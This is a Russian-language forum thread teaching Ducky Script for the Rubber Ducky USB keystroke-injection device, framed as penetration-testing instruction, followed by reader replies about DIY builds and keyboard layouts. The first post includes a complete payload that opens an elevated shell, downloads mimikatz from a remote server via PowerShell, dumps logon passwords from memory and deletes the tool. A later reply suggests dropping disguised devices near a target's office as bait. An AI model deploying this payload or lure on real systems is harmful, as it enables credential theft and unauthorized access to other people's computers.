Rubber Ducky - Первые шаги (часть II)

10.11.2016
121
427
#1
Приветствую уважаемых участников и гостей форума!
В предыдущей части, мы познакомились с USB-устройством "Rubber Ducky" и рассмотрели базовые возможности девайса при проведении тестирований на проникновение, сегодня мы более подробно рассмотрим начинку "Rubber Ducky", освоим синтаксис Ducky Script, напишем первый пейлоад, и проведем простую атаку на реальном примере.

Итак, что же внутри корпуса оригинального "Rubber Ducky" от Hack5:
1. процессор Atmel 32bit 60MHz AVR на базе микроконтроллер AT32UC3B1256 с 64kb flash памятью, 32kb SRAM, скоростью передачи данных 12 Mbps и низким энергопотреблением от 23mA до 3.3 вольт
2. MicroSD card reader, для увеличения пространства внутренней памяти
3. LED-индикатор работы устройства.
4. JTAG интерфейс, который используется преимущественно для hardware-отладки
5. Стандартный USB-коннектор (type A)

1.jpeg
Далее рассмотрим особенности и синтаксис Ducky Script - языка для программирования "Rubber Ducky".
Итак, писать скрипты на Ducky Script можно в любом тестовом редакторе, поддерживающим кодировку ASCII, например Notepad, vi, emacs, nano, gedit, kedit, TextEdit, и пр.
Синтаксис элементарен и не требует навыков программирования, каждая команда пишется CAPSом и начинается с новой строки и может иметь несколько параметров, функции большинства команд сводятся к нажатия клавиш клавиатуры/комбинации клавиш, либо вывод текста а также для имитации задержки/паузы во время нажатия клавиш.

Основные команды с примерами использования:
1. REM
Аналогично REM в Basic, строки начинающиеся с REM служат только для комментирования.
Код:
REM #Следующие 3 строки кода откроют командную строку Windows
GUI r
STRING cmd
ENTER
2. DEFAULT_DELAY или DEFAULTDELAY
Используется для определения продолжительности ожидания между каждой последующей командой со значением параметров от 0..-> в миллисекундах. В основном используется для отладки, в случаях когда целевой ОС, после подключения нашего девайса требуется время для установки драйверов.
Код:
DEFAULT_DELAY 100
REM #задержка 100 милисекунд между строками команд delays
3. DELAY
Используется для пауз при выполнении команд, когда необходимо время для обработки команд на целевой ОС. Время задержки указано в миллисекундах от 1 до 10000. Для создания более длительных задержек можно использовать несколько команд DELAY.
Код:
DELAY 500
REM #пауза 500 миллисекунд до выполнения следующей команды
4. STRING
Строка, содержащая последовательность нажатия клавиш клавиатуры, выполняется с возможными параметрами: a...z A...Z 0..9 !...) `~ += _- "' :; <, >. ?/ \
Код:
GUI r
DELAY 500
STRING notepad.exe
ENTER
DELAY 1000
STRING Hello World!
5. WINDOWS или GUI
Код:
GUI r
REM #команда выполняет нажатие комбинации клавиш Windows+R, чтобы открыть меню "Выполнить"
6. MENU или APP
Команда открывает выпадающее контекстное меню, результат аналогичен клику правой кнопкой мыши/нажатию сочетания SHIFT+F10 в Windows системах
Код:
GUI d
MENU
STRING v
REM #переключение на рабочий стол, открытие контекстного меню и выберите команду действия v
7. SHIFT
Команда используется для навигации и выделения фрагментов тестового содержимого выполняется с возможными параметрами: DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB
Код:
SHIFT INSERT
REM #команда выполняет функцию "Вставить" для Windows систем
8. ALT
Команда выполняет функцию клавиши ALT, используется с возможными параметрами: END, ESC, F1...F12, SPACE, TAB и пр. сочетания горячих клавиш в в Windows системах.
Код:
GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World
ALT f
STRING s
REM #команда выполняет нажатие комбинации клавиш ALT+f и сохраняет полученый результат
9. CONTROL или CTRL
Команда выполняет нажатие клавиши CTRL с возможными параметрами: BREAK, PAUSE, F1...F12, ESCAPE, ESC и пр. сочетания горячих клавиш в в Windows системах.
Код:
CONTROL ESCAPE
REM #команда открывает меню "Пуск" в Windows
10. REPLAY
Повторяет последнюю команду n-количество раз.
Код:
SHIFT INSERT
REPLAY 100
REM #команда выполняет функцию "Вставить" 101 раз
Для компиляции скриптов, обычно используется кросплатформенная утилита на Java - Duck Encoder, которая конвертирует Ducky Script в hex формат.

Итак, с синтаксисом разобрались, теперь потренируемся и напишем первый пейлоад, и никаких "Hello World", пусть это будет простенький, но все же "боевой" прототип, использующий, хорошо известную утилиту mimikatz для извлечения хешей паролей, а также учётных данных Windows в открытом виде.

Что конкретно должен делать наш скрипт после подключения "Rubber Ducky" к USB-порту цели:
1. Открыть командную строку
2. Загрузить mimikatz с удаленного сервера, используя powershell
3. Запустить mimikatz для извлечения дампа паролей из памяти целевой машины
4. Удалить загруженный бинарник mimikatz, после извлечение дампа

Нам потребуется:
1. Любой вебсервер, чтобы захостить mimikatz для загрузки на цель
2. Hеобходимо обладать правами администратора на целевой машине
Код:
DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
DELAY 300
ENTER
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://ip_сервера_с_mimikatz/host>/mimikatz.exe','%TEMP%\mimikatz.exe')
DELAY 300
ENTER
DELAY 3000
STRING %TEMP%\mimikatz.exe
DELAY 300
ENTER
DELAY 3000
STRING privilege::debug
DELAY 300
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
DELAY 300
ENTER
DELAY 1000
STRING exit
DELAY 300
ENTER
DELAY 100
STRING del %TEMP%\mimikatz.exe
DELAY 300
ENTER
Скрипт, конечно же нуждается в серьезной доработке, но все же этот простой пример наглядно демонстрирует возможности языка и потенциал "Rubber Ducky" при проведении тестов на проникновение.
К тому же, большую коллекцию готовых скриптов для разных ОС можно найти по ссылке
Для просмотра контента необходимо: Войти или зарегистрироваться


В следующей части мы рассмотрим более сложные скрипты, поговорим о примерах использования "Rubber Ducky" в различных атаках из реальной практики.
Благодарю за внимание!
 
Последнее редактирование:
08.11.2016
946
2 661
#2
я надеюсь в следующих статьях Автор раскроет тему как собрать сей девайс самому! да-да это возможно, сам когда то задавался этим вопросом... но лень было ездить по магазам искать флэшку на 64гбайта определнной модели и выпуска от производителя)))
 
10.11.2016
121
427
#3
я надеюсь в следующих статьях Автор раскроет тему как собрать сей девайс самому! да-да это возможно, сам когда то задавался этим вопросом... но лень было ездить по магазам искать флэшку на 64гбайта определнной модели и выпуска от производителя)))
Есть такое в планах, не хотел говорить раньше времени) В данный момент работаю над прототипом на ATmega32U4 + microSD модуль, как закончу будет подробный мануал.
Кстати, хотелось бы задать вопрос форумчанам, будет ли интересна возможность приобрести аналогичный по функционалу девайс по цене 20-25$ на market.codeby? Для примера оригинальный Rubber Ducky стоит 44,99$ + международная доставка.

PS: Оказывается не только я искал эти 64-гиговые Toshiba в свое время)))
 
26.07.2017
5
4
#6
Есть такое в планах, не хотел говорить раньше времени) В данный момент работаю над прототипом на ATmega32U4 + microSD модуль, как закончу будет подробный мануал.
Кстати, хотелось бы задать вопрос форумчанам, будет ли интересна возможность приобрести аналогичный по функционалу девайс по цене 20-25$ на market.codeby? Для примера оригинальный Rubber Ducky стоит 44,99$ + международная доставка.

PS: Оказывается не только я искал эти 64-гиговые Toshiba в свое время)))
Такое похожое устройство за 2.5$ приобрел. Digispark называется.
 
10.11.2016
121
427
#7
Такое похожее устройство за 2.5$ приобрел. Digispark называется.
Тоже рассматривал такой вариант на Attiny85, но к сожалению там всего 8kb flash памяти, к тому же 2-3kb займет bootloader, хотя учитывая низкую себестоимость, такой девайс будет можно использовать, как героиня одного популярного сериала про хекеров, ....просто раскидать несколько штук на парковке возле офиса цели)) к тому же если добавить розовый корпус от флешки + наклейку "ню-фотосессия 2017", то я думаю заветный shell прилетит быстрее))
 

mrBunny

Well-known member
24.11.2016
49
16
#8
Интересно, а запускать файлы из памяти MicroSD он умеет?
 

mrBunny

Well-known member
24.11.2016
49
16
#10
Да, конечно такая возможность присутствует.
Про это есть в планах написать? С удовольствием почитал бы!
Если память не изменяет, там надо заморачиваться с прошивкой.
 
10.11.2016
121
427
#11
Про это есть в планах написать? С удовольствием почитал бы!
Если память не изменяет, там надо заморачиваться с прошивкой.
Все верно, обязательно планирую описать процесс прошивки в подробностях в мануале, по самостоятельному созданию устройства, в домашних условиях. Благодарю за интерес к этой теме.
 

mrBunny

Well-known member
24.11.2016
49
16
#12
Все верно, обязательно планирую описать процесс прошивки в подробностях в мануале, по самостоятельному созданию устройства, в домашних условиях. Благодарю за интерес к этой теме.
Отличные новости, буду ждать!
Может еще кто найдется у кого тоже есть утка, интересно было бы пообщаться!
 

ActionNum

Active member
27.11.2016
37
9
#15
PS: Оказывается не только я искал эти 64-гиговые Toshiba в свое время)))
Я остановился на 3-х и заказал с али!) Сильно тяжело найти такую флешку с нужным контроллером, так как производитель использует линейку контроллеров и какой он туда воткнет никому не известно!)

Есть вопрос, как решается проблема с предворительным переключением клавиатуры на нужный Английский язык?
 
10.11.2016
121
427
#16
Есть вопрос, как решается проблема с предварительным переключением клавиатуры на нужный Английский язык?
С помощью Encoder - https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder
$java -jar duckencode.jar -i script.txt -o inject.bin -l resources/mylayout.properties
Layouts, в том числе русский, можно найти по ссылке https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder/resources
В ситуации, когда мы имеем дело, вообще с отсутствием английского в системе, мне кажется оптимальным решением будет использовать PowerShell, для того чтобы добавить EN layout в языковое окружение целевой ОС
>powershell New-WinUserLanguageList en-US
>powershell Set-WinUserLanguageList -LanguageList en-US
 
30.10.2017
10
4
#19
С помощью Encoder - https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder
$java -jar duckencode.jar -i script.txt -o inject.bin -l resources/mylayout.properties
Layouts, в том числе русский, можно найти по ссылке https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder/resources
В ситуации, когда мы имеем дело, вообще с отсутствием английского в системе, мне кажется оптимальным решением будет использовать PowerShell, для того чтобы добавить EN layout в языковое окружение целевой ОС
>powershell New-WinUserLanguageList en-US
>powershell Set-WinUserLanguageList -LanguageList en-US
Здравствуйте не могли бы вы помочь.У меня возник вопрос вот
>powershell New-WinUserLanguageList en-US
>powershell Set-WinUserLanguageList -LanguageList en-US[/quote]
писать в сам скрипт или в ручную на виндовс ? и еще как с помощью Encodera добавить En язык просто я новичок и не доконца понял спасибо заранее за помощь
 

GreeNua

New member
21.02.2017
1
0
#20
Не пинайте слишком только знакомлюсь с девайсом от Hak5, но возник вопрос. Если раскладка клавиатуры английская всё отрабатывает, но если русская соответственно выполняет команды на русском. Как переключить раскладку для отработки скрипта?